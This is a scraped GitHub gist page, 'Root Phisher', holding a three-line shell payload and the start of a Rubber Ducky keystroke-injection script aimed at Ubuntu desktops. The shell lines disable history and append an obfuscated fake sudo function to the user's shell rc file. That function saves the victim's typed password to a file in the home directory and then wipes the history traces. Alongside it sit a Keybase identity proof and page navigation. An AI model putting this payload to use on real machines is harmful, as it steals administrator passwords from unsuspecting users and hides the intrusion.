Skip to content

Instantly share code, notes, and snippets.

Vi Grey ViGrey

Block or report user

Report or block ViGrey

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@ViGrey
ViGrey / rootphisher.txt
Last active Oct 15, 2017
Root Phisher 3 line shell commands
View rootphisher.txt
a=$HISTFILE;unset HISTFILE
h=$(hexdump -n 4 -e '/1 "%02X"' /dev/urandom);s=$HOME/.$(basename $SHELL)rc;r=sudo;e=echo;t=/usr/bin/$r;u=unset;$e "$r(){ $u -f $r;$u -f $t;if ! grep -q $h $s;then $r \$@; else sed -i -n /$h/\!p $s;$e -n \"[$r] password for \$USER: \";read -s p;$e -n \$p>\$HOME/p.txt;$u p;$e;sleep 2;$e \"Sorry, try again.\";$r -k \$@;fi;};$t(){ $r \$@;}">>$s
sed -i -n /HISTFILE/\!p $a;history -c;exit
View rootphisher.ducky
REM Title: Root Phisher
REM Target: Ubuntu Desktop >= 11.04
REM Last Modified: July 4, 2017
REM Author: Vi Grey
REM Copyright: BSD 2-Clause License
DELAY 1000
CTRL-ALT t
DELAY 1000
STRING a=$HISTFILE;unset HISTFILE
ENTER
View keybase.md

Keybase proof

I hereby claim:

  • I am vigrey on github.
  • I am vigrey (https://keybase.io/vigrey) on keybase.
  • I have a public key ASA1wgnOMbw2r4x5pCORmwennpaEi2ZSnh5BpU6Q4jeITwo

To claim this, I am signing this object:

You can’t perform that action at this time.